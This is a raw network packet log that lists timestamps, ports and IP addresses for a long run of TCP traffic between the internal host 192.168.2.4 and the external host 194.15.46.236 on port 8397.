Nov 24, 2024 12:10:10.687644005 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.687758923 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.687796116 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.688914061 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.689022064 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.689059019 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.690165043 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.690327883 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.690368891 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.691453934 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.691524982 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.691562891 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.692646027 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.692764997 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.692800999 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.694541931 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.694740057 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.694778919 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.695363998 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.695461988 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.695499897 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.696516037 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.696583986 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.696635962 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.697674990 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.697839975 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.697877884 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.698926926 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.699057102 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.699093103 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.700165987 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.749651909 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.845618010 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.845669985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.845804930 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.846116066 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.846182108 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.846234083 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.847479105 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.847644091 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.847697020 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.848829985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.848871946 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.848925114 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.850228071 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.850430965 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.850497007 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.851351023 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.851433039 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.851492882 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.852442026 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.852531910 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.852581024 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.853656054 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.853744984 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.853790045 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.854929924 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.855066061 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.855118990 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.856164932 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.856283903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.856352091 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.857422113 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.857520103 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.857570887 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.858673096 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.858741045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.858792067 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.859915972 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.860018969 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.860069990 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.861155033 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.861274004 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.861315012 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.862421036 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.862529039 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.862591982 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.863698006 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.863821030 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.863864899 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.864921093 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.865036964 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.865082979 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.866173983 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.866292953 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.866353035 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.867427111 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.867537022 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.867578030 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.868685007 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.868805885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.868851900 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.869934082 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.870043993 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.870085955 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.871198893 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.871355057 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.871397972 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.872562885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.872675896 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.872735023 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.873863935 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.873946905 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.873996019 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.874943972 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.875055075 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.875107050 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.876190901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.876296043 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.876373053 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.877469063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.877599955 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.877649069 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.878710985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.878803968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.878850937 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.880134106 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.880239010 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.880290031 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.881211042 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.881316900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.881367922 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.882462978 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.882590055 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.882673979 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.883721113 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.883825064 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.883874893 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.884957075 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.885066986 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.885113955 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.886228085 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.886346102 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.886408091 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.887492895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.887586117 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.887630939 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.888808012 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.888928890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.888974905 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.889996052 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.890105009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.890147924 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.891239882 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.891346931 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.891392946 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.892487049 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.892586946 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.892623901 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.893754959 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.893894911 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.893930912 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.895001888 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.895140886 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.895184040 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.896436930 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.896531105 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.896589041 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.897511005 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.897563934 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.897604942 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.898793936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.898920059 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.898957014 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.900075912 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.900187016 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.900228024 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.901256084 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.901338100 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.901376009 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.902512074 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.902585030 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.902626991 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.903767109 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.903901100 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.903939962 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.905100107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.905195951 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.905235052 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.906290054 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.906404972 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.906443119 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.907526970 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.907638073 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.907696962 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.908899069 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.909024000 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.909070969 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.910120010 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.910264015 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.910298109 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.911358118 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.952769995 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.056126118 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.056160927 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.056200981 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.056664944 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.056934118 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.056978941 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.057883024 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.058000088 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.058036089 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.059514999 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.059634924 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.059669971 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.060384989 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.060569048 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.060622931 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.061660051 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.061744928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.061784029 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.062942028 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.063019037 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.063067913 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.064152956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.064273119 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.064321041 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.065423012 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.065522909 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.065565109 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.066649914 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.066720963 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.066756010 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.068130016 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.068176031 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.068214893 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.069195032 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.069289923 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.069331884 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.070498943 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.070655107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.070713997 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.071682930 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.071782112 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.071876049 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.072994947 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.073113918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.073163033 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.074172020 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.074282885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.074330091 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.075422049 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.075442076 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.075479984 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.076680899 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.076767921 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.076813936 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.077929020 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.078061104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.078103065 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.079205036 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.079332113 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.079369068 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.080513954 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.080648899 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.080692053 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.081758022 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.081849098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.081912994 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.083002090 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.083077908 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.083122969 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.084391117 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.084506035 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.084549904 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.085484028 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.085597038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.085639000 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.086710930 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.086838007 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.086886883 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.088054895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.088238001 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.088279963 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.089442968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.089553118 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.089597940 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.090521097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.090677977 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.090725899 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.091829062 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.091914892 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.091973066 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.092998028 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.093111038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.093156099 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.094238997 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.094372034 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.094417095 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.095489025 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.095613956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.095657110 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.096766949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.096913099 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.096961975 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.097995996 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.098131895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.098175049 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.099257946 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.099376917 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.099426031 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.100519896 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.100644112 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.100687027 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.101756096 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.101893902 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.101938009 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.102988958 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.103102922 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.103163958 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.104243040 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.104346037 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.104389906 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.105705976 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.105808020 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.105866909 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.106906891 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.107069969 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.107110977 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.108285904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.108393908 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.108480930 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.109724998 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.109916925 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.109965086 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.110730886 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.110821009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.110867023 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.111754894 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.111891985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.111943007 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:11.113035917 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:11.113176107 CET	8397	49733	194.15.46.236	192.168.2.4
